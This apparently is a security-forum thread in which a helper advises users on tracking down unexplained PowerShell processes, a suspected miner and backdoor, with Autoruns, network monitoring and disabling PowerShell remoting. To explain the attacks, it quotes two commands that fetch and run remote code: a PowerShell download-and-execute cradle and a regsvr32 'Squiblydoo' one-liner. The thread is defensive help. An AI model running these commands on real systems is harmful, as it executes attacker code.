Two strange powershell processes (maybe coinminers?)

[itman 1,659]

10 hours ago, Kevin999 said:

The threat was detected at 25 14:42:11 and 26 06:24:28 (after system start), but it no longer detected after that.

Note that if your VMware installation is vulnerable; refer to WMWare advisory I previously linked, you can still be exploited using whatever remote attack method the attacker chooses. You need to apply applicable WMware patches immediately.

[Kevin999 3]

18 minutes ago, itman said:

Note that if your VMware installation is vulnerable; refer to WMWare advisory I previously linked, you can still be exploited using whatever remote attack method the attacker chooses. You need to apply applicable WMware patches immediately.

What should I do? My computer has been install VMware Workstation 16 Pro (16.2.3 build-19376536).

Edited April 29, 2022 by Kevin999

[itman 1,659]

20 minutes ago, Kevin999 said:

My computer has been install VMware Workstation 16 Pro (16.2.3 build-19376536).

First, I am not familiar with WMware. That said, it appears the last vulnerability for VMware Workstation is here: https://www.cvedetails.com/cve/CVE-2021-22045/ . That affected ver. 16.2.0. Since you are running ver. 16.2.3, looks like you're OK.

Note the current RCE vulnerabilities appear to be related to WMware server based software. As long as your device is not locally connected to one in any way, this issue is non-applicable to you.

Edited April 29, 2022 by itman

[itman 1,659]

I will also state this in regards to this PowerShell script.

The script was executed remotely. This implies a reverse shell; i.e. backdoor, exits that allowed the attacker to run the script. Further evidence for this is files were dropped on the local device previously that script used in its execution.

As I see it, the reverse shell still exists on the local device.

[Soul 0]

sorry for the late reply. Interestingly enough, this was fixed for last 2 days or so and just started again today. Powershell opened and is doing the same thing. I just saw this so i am updating vmware right now.

[Soul 0]

On 4/29/2022 at 8:05 AM, itman said:

I will also state this in regards to this PowerShell script.

The script was executed remotely. This implies a reverse shell; i.e. backdoor, exits that allowed the attacker to run the script. Further evidence for this is files were dropped on the local device previously that script used in its execution.

As I see it, the reverse shell still exists on the local device.

So what would be the necessary steps in order to eliminate this?

[itman 1,659]

14 minutes ago, Soul said:

So what would be the necessary steps in order to eliminate this?

Since you made previous reference to patching your VMware installation, I am assuming you were running a vulnerable version. Patching will eliminate any future remote exploitation activities.

As far as finding a malicious reverse shell; aka backdoor, it is very difficult without a signature detection for it. Assuming the reverse shell is beginning run at system startup time, you could give SysInternals Autoruns a shot: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns . Look for any PowerShell references.

As I mentioned previously, an Eset HIPS ask rule monitoring PowerShell.exe startup might also detect the reverse shell. Since the script is being run remotely, it's hard to tell if any detection will occur. What I understand about PowerShell remoting capability is that a loading of PowerShell on the local device still occurs.

[Soul 0]

there seems to be nothing related to powershell on autorun. 

[itman 1,659]

I guess I should explain what makes a PowerShell remote execution attack so hideous.

Below is an actual first stage of an attack:

Quote

powershell –nop –c “iex(New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/securethelogs/RedRabbit/master/redrabbit.ps1’)”

Note: Posted in clear text since the URL is no longer active.

The attacker downloads the PowerShell script and immediately executes it. What I posted previously is what is contained within the script.

The hideous part is all this is done in the reverse shell process memory.

[Soul 0]

interesting. Yea it seems hard to find as im running various scans and deep scans, manually deleting files but not having any luck finding the malicious files. 

[itman 1,659]

6 minutes ago, Soul said:

interesting. Yea it seems hard to find as im running various scans and deep scans, manually deleting files but not having any luck finding the malicious files. 

The problem is reverse shells; i.e. backdoors, are not inherently malicious. All they do when executed is establish a remote Internet connection. Malicious status is usually assigned by associating the IP address/s being connected to with malicious activities.

[Soul 0]

3 minutes ago, itman said:

The problem is reverse shells; i.e. backdoors, are not inherently malicious. All they do when executed is establish a remote Internet connection. Malicious status is usually assigned by associating the IP address/s being connected to with malicious activities.

ahhhh and yea, when using procexp, i can go to the powershell and the netowkr tab and it shows there is a connection establish to a ip. Would it work if i were to block that ip directly on my router?

[itman 1,659]

15 minutes ago, Soul said:

but not having any luck finding the malicious files. 

You might try employing a network monitor like WireShark, etc. to monitor and log all outbound network traffic. Then looks for event log entries just prior to when any PowerShell network traffic starts.

[Soul 0]

2 minutes ago, itman said:

You might try employing a network monitor like WireShark, etc. to monitor and log all outbound network traffic. Then looks for event log entries just prior to when any PowerShell network traffic starts.

i can see it while using fiddler. It keeps making request to that api.chatting url. Something weird is that before it was always red meaning it cant reach im guessing but now its status 200 so im assuming the host is up now? As soon as i stop the powershell from task manager, the links stop 

 

[itman 1,659]

3 minutes ago, Soul said:

powershell and the netowkr tab and it shows there is a connection establish to a ip.

You can create an Eset firewall rule to block all outbound Powershell network traffic as shown in recommended Eset firewall rules against ransonware: https://support.eset.com/pl/kb6132-configure-firewall-rules-for-eset-endpoint-security-to-protect-against-ransomware .

However, this is just blocking the network traffic and not eliminating the cause of the problem.

[itman 1,659]

I also noticed something from the OP's screen shot of running processes.

GfxHK.exe is shown running without any path reference. The problem is I can find no reference to that process.

There is a legit iGfxHK.exe  process which is associated with controlling video-related hot keys as part of Intel's Common User Interface that accompanies its drivers for graphics cards and onboard GPUs.It is usually stored in C:\Windows\System32  directory.

Ref.: https://www.file.net/process/igfxhk.exe.html

Edited April 30, 2022 by itman

[itman 1,659]

Since this PowerShell activity is being initiated remotely, another thing that can be done is to disable PowerShell remoting on a Windows computer: https://4sysops.com/wiki/disable-powershell-remoting-disable-psremoting-winrm-listener-firewall-and-localaccounttokenfilterpolicy/

I would start with what is posted in this section, "Disabling remote access with Disable-PSRemoting."

Again, this is just preventing the coin miner from running versus eliminating the source of the activity.

Also as with any Win system behavior modification activity, ensure you know how to reverse your system modification activities if adverse system behavior manifests.

[Kevin999 3]

I think ESET internet protection could block Windows Remote Management (WS-Management) by default (especially incoming package), and add an option to allow it manually.

Edited May 1, 2022 by Kevin999

[itman 1,659]

12 hours ago, Kevin999 said:

I think ESET internet protection could block Windows Remote Management (WS-Management) by default (especially incoming package), and add an option to allow it manually.

As noted in the 4sysops.com linked article I posted, Windows Remote Management often is deployed legitimately. Hence, my previous comment to only disable PS Remoting capability. This in most instances is enough to prevent a remote based PowerShell attack.

[Kevin999 3]

1 hour ago, itman said:

As noted in the 4sysops.com linked article I posted, Windows Remote Management often is deployed legitimately. Hence, my previous comment to only disable PS Remoting capability. This in most instances is enough to prevent a remote based PowerShell attack.

How about only disable PS Remoting capability (especially incoming package) by EIS firewall by default? Beacuse most user maybe don't know how to use powershell.

https://4sysops.com/wiki/disable-powershell-remoting-disable-psremoting-winrm-listener-firewall-and-localaccounttokenfilterpolicy/#disable-the-firewall-exceptions

Besides, I think Windows Remote Management is less used by home user, EIS firewall could also block it by default to provide higher security.

[itman 1,659]

I will also note that separate reverse shell; i.e. backdoor, doesn't need to be created to pull off a remote execution attack.

For example, a Win trusted existing shell process such as Win Explorer; i.e. explorer.exe, can be deployed. This was a tactic used in older Emotet malware versions:

Quote

To maintain persistence, Emotet injects code into explorer.exe and other running processes. It can also collect sensitive information, including system name, location, and operating system version, and connects to a remote command and control server (C2), usually through a generated 16-letter domain name that ends in “.eu.” Once Emotet establishes a connection with the C2, it reports a new infection, receives configuration data, downloads and runs files, receives instructions, and uploads data to the C2 server.

https://www.cisa.gov/uscert/ncas/alerts/TA18-201A

Better yet, let's employ a "living off the land attack" by using a Win trusted system executable. One of the most infamous examples in this category was Casey Smith's "Squiblydoo" P.O.C method: https://github.com/mitre-attack/car/issues/12 . This wreaked havoc on Windows installations for a couple of years after being published and for that matter, still does on occasion. The bottom line is that exploiting doesn't have to be deployed to pull off a successful remote attack.

Again, deploying a network connection monitor looking for processes that normally should not be performing outbound network connections prior to PowerShell.exe network activity is the best way to track down the source of this remote PowerShell use activity.

Edited May 1, 2022 by itman

[itman 1,659]

Let's refer again to Autoruns use in trying to determine the source of this remote connection activity.

The first thing that needs to be done is configure Autoruns to utilize VirusTotal scanning. Once Autoruns starts and initializes itself, mouse click on its Options tab. Then select Scan Options. Check-mark everything shown in the below screen shot:

Then select the Rescan tab. At this point, scroll through the Autoruns window looking for any entries with VirusTotal detection's greater than 3/73 ranking or so. Less than this amount is usually indicative of a false positive detection.

Assuming nothing is yielded from the above analysis, next refer to this article on how to use Autoruns for suspicious activity detection: https://www.varonis.com/blog/how-to-use-autoruns

Finally, pay close attention as to what is starting via the Scheduled Tasks section.

Edited May 1, 2022 by itman

[itman 1,659]

I did find an example of a "Squiblydoo" attack to remotely execute PowerShell:

Quote

In this example, we’ll leverage a regsvr32.exe test to spawn PowerShell.

regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.sct scrobj.dll 

This is a two part test. We use regsvr32.exe to reach out to a remote destination and then execute a command to initiate PowerShell. The idea here is that we can look at powershell.exe and its parent process to see if the relationship makes sense.

At first, you might think that this is PowerShell spawned from cscript.exe or wscript.exe. However, if you test it, you will observe that VBScript is actually proxying execution through Windows Management Instrumentation (WMI). The important takeaway here is that we can proxy execution through another process and that this can then break detections that depend on a specific process chain or sequence.

Things may not always be as they seem. This type of misdirection is common with more advanced adversaries, and this is one of the reasons that we test.

https://redcanary.com/blog/testing-the-top-mitre-attck-techniques-powershell-scripting-regsvr32/

Edited May 1, 2022 by itman

[itman 1,659]

For those still having this PowerShell script running at system startup time, refer to this posting: https://forum.eset.com/topic/32255-powershellagentaew-trojan-keeps-coming-back-after-cleaning-and-reboot/#elControls_150342_menu